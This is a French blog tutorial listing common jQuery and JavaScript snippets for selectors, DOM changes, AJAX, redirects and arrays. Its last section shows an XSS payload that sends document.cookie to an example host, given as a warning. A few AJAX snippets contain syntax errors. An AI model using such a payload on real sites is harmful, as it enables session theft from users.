Fonctions utiles en jQuery et Javascript
Article posté le 23-12-2013 dans la catégorie
JavaScript, JQuery...
Attention, le contenu cet article est peut-être obsolète !
Quelques fonctions bien utiles en jQueryLa suite en ce qui concerne les fonctions bien utiles en jQuery Il s'agit principalement des fonctions utilisées "au quotidien" et qui permettent de gérer des évènements/animations les plus basiques et les plus utilisés. Note: MEA CULPA, certaines sont du JavaScript pur.
1- Exécuter du code au chargement de la page
jQuery(document).ready(function()
{
// Code à exécuter une fois que la page est chargée
});
2- Gestion des touches
Dans l'exemple ci-dessous, écoute de la touche "flèche gauche" :
$(document).keyup(function(e)
{
if(e.keyCode == 37)
{
bougePlayer("G");
}
});
3- Exécuter du code à intervalle régulier
Exécuter du code toute les 250ms :
setInterval(function()
{
// Code à exécuter
},250);
4 - Sélecteurs
$("[id*=DeployFleche]") //Selectionne tous les éléments dont l'attribut id contient DeployFleche
$( "[id^=checkBox]" ) //Sélectionne tous les élements dont l'id commence par checkBox
$('#Toto') //Selectionne tous les éléments dont l'id est Toto
$('.Toto') //Sélectionne tous les élements dont la classe est Toto
Pour parcourir tous les élements sélectionnés, voici comment procéder :
$( "[id^=checkBox]" ).each(function() { //Parcours des résultat
if($(this).is(':enabled')) { //$(this) fait référence à l'objet en cours, en jQuery
this.setAttribute("checked", "checked"); //Dans cet exemple, on parcours les checkboxes, et si elles sont activées, on les coche et on les met à true (meilleure compatibilité avec IE).
this.checked = true; // this fait référence à l'objet en cours, en JavaScript pur
}
});
5- Ecrire, Récuperer, vider et supprimer du contenu et des valeurs
Soit la div "monContenu":
$('#monContenu').prepend("Toto"); // Ecrit Toto dans la div, au début
$('#monContenu').append("Toto"); // Ecrit Toto dans la div, à la fin
$('#monContenu').empty(); // vide la div
$('#monContenu').remove(); // supprime la div
var leContenu = $('#monContenu').html(); // Récupere le contenu de la div et le stocke dans une variable
var monTitle = $('#monContenu').attr( "title" ); //retourne l'attribut de l'objet
$('#monContenu').attr( "title", "value" ); //Modifie l'attribut de l'objet
$('#monContenu').val(); // Lit le contenu du champ d'un formulaire
$('#listeVoiture').append($('<option>', {
value: 5,
text: Ma voiture
})); // Ajout une élément à un menu select
Manipulations des champs de type select :
$('#v_specificite').get(0).selectedIndex = 0; // Remet la valeur sélectionnée à zéro
var spec = $('option:selected', this).attr('spec'); // récuperer un attribut de l'élément sélectionné
$('#liste_contrat option:selected').val() // récuperer la valeur de l'élement sélectionné
Manipulations des champs de type bouton radio :
$('#com_comercial_app_no').prop('checked', false); // déselectionne le bouton radio
Désactiver un élément :
$('#bouttonImport').attr('disabled', false);
6- Modifier le style
On utilise la fonction ".css" qui prend deux paramètres : le premier est l'attribut, le deuxième sa valeur. Ex:
$('#monContenu').css('background', 'red'); //Modifie l'arrière plan en rouge
7- Animations basiques
Animation : prend la modification de position, la vitesse (millisecondes), et une fonction à exécuter à la fin de l'animation, pour paramètres :
$(nouvelleImage).animate({marginLeft:0},500,function()
{
//Code à exécuter quand l'animation est terminée
});
8- Requêtes lecture/écriture Ajax
1- Sans changer de page (exemple avec GET)
$.ajax
({
type: 'GET',
url: urlSite+"modules/notePage.php? Note="+laNote+"&ipClient="+ipClient+"&idPage="+idPage+"&Vote=VoteOK", // URL
success: function(data) //En cas de succès de la communication
{
$('#divNoteMere').prepend("Merci d'avoir voté!"); //Affiche message dans page en cours
notePage=data; // On stocke le message affiché par la page PHP
}
,
error: function(jqXHR, textStatus, errorThrown) // En cas d'erreur
{
$('#divNoteMere').prepend("Impossible de valider votre note"); // Message
}
, timeout: 30000 // Durée maximale pour tenter de réaliser la connexion
});
2- Avec page de confirmation (exemple avec POST)
$.ajax(
{
type:"POST",
data: $(this).serialize(), // Sérialiser l'objet (dans l'exemple, un formulaire)
url: $(this).attr('action'),
success: XMLHttpRequest.getResponseHeader("Location"), // Envoi vers l'url dans la partie action = "xxx.php" du formulaire)
dataType: "html",
error: function()
{
// Traitement en cas d'erreur
}
return false; // A ne pas oublier sinon la page sera rechargée !
});
3- Autre exemple avec POST (mais pas dans le cas d'un formulaire) :
var formData =
{
Nature:Nature,
Destination:Destination }; //Array
$.ajax({
url : "traitement.php",
type: "POST",
data : formData,
success: function(data, textStatus, jqXHR)
{
alert(data);
},
error: function (jqXHR, textStatus, errorThrown)
{
//Message d'erreur
}
});
4- Autre exemple avec POST pour une réponse en JSON
var formData = "storeId=" + Store.data('storeid') + "&retailerId=" + Store.data('retailer') +
"&form_key=" + $('#tokenForm').children().val();
$.ajax({
url: baseSiteUrl + "mydata/account/update/",
type: "POST",
data: formData,
dataType: "json",
success: function (data)
{
$.each(data, function(index, element) { // OU plus simple:
if (data['status'] == 'success') {
if(index === "status" && element === "success") {
location.reload();
} else {
alert($.mage.__("Sorry: impossible to update your data"));
}
});
},
error: function (data)
9- Déplacer, cloner des éléments
$( ".hello" ).appendTo( ".goodbye" ); //Déplace le premier élément dans le second
$( ".hello" ).clone().appendTo( ".goodbye" ); //Clone le premier élément dans le second
10- Gestion des éléments rajoutés après le chargement de la page
Les sélecteurs basiques de jQuery ne permettent de manipuler que les éléments présents au chargement de la page, donc pas ceux que vous avez créé dynamiquement...
Pour cela, il faut utiliser la fonction .on(), petits exemples :
$(document).on({
click: function() {
// ...
},
mouseenter: function() {
// ...
}
}, '#maDivDeTest');
Ici, nous supposons que nous avons créé, après le chargement de la page, une div dont l'id est "maDivDeTest". Dans cet exemple, nous voulons gérer les cas où nous cliquerions dessus, ou encore passerions la souris dessus. Le sélecteur est donc le dernier paramètre. Le premier, "document", est l'élement parent le plus proche, ici le document en lui-même. On devine donc que notre div n'a pas de div mère dans cet exemple.
Le dynamisme peut être aussi de mise. Ainsi dans une application où ne ne connaitrions pas le sélecteur (stocké dans une variable), nous devrions faire deux choses, tout d'abord mettre en place un écouteur :
$("#Maison").on('click', '.fenetre'+TypeFenetre, laveFenetre);
Ici, nous voulons écouter tout clic sur un élément dont la classe contient le mot "fenetre" (plus autre chose, stocké dans la variable TypeFenetre), notre élément se trouvant dans un autre lui ayant pour id "Maison". En cas de clic, exécuter la fonction laveFenetre(). Deuxième chose : à vous d'implémenter cette fonction, sachant que $(this) sera accessible à l'intérieur.
Important : dans le cas où le variable TypeFenetre change, à chaque fois que c'est le cas, vous devez rappeler l'écouteur... Dans ce cas l'idéal peut être de le mettre dans une fonction.
11- Changer de page
Imaginions que vous utilisiez votre code sur une page A, pour rediriger vers une page B. Deux possibilités :
window.location.replace(url)
Redirige, mais ne conserve pas la page A dans l'historique du navigateur : si une fois sur la page B vous cliquez sur "Précédent", vous arriverez sur la page que vous visitiez avant la page A.
document.location="url du site"
Idem mais conserve la page A dans l'historique. Cela implique une redirection HTTP. Si par contre vous voulez simuler un clic sur un lien, utilisez window.location.href = "http://votre-site.com";
12- Exploser une chaine utilisant un séparateur
var exploded = spec.split(','); //exploded contient à présent un tableau de chaque morceau de la chaine spec. Le découpage a utilisé la virgule comme séparateur.
13- Parcourir un tableau
Suite du point 12, si je veux parcourir le tableau :
$.each(exploded, function(index, value) {
//traitement ici
});
ou encore:
for(key in tabListeAxesSauvegarder){
chaineSoumission += "&" + key + "." + tabListeAxesSauvegarder[key];
}
14- Activer désactiver des options dans un menu SELECT
.removeAttr('disabled'); //Active
.attr('disabled','disabled'); //Désactive
15- Vérifier si une valeur est numérique
isNumeric()
doc ici : http://api.jquery.com/jquery.isnumeric/
16- Lire les cookies
document.cookie
Par exemple, une faille de XSS permet de récuperer les cookies d'un utilisateur (attention donc de bien protéger vos sites) :
<script>
document.location =
'http://example.org/getcookies.php?cookies=' + document.cookie;
</script>
Cet article vous a plu? Découvrez d'autres articles :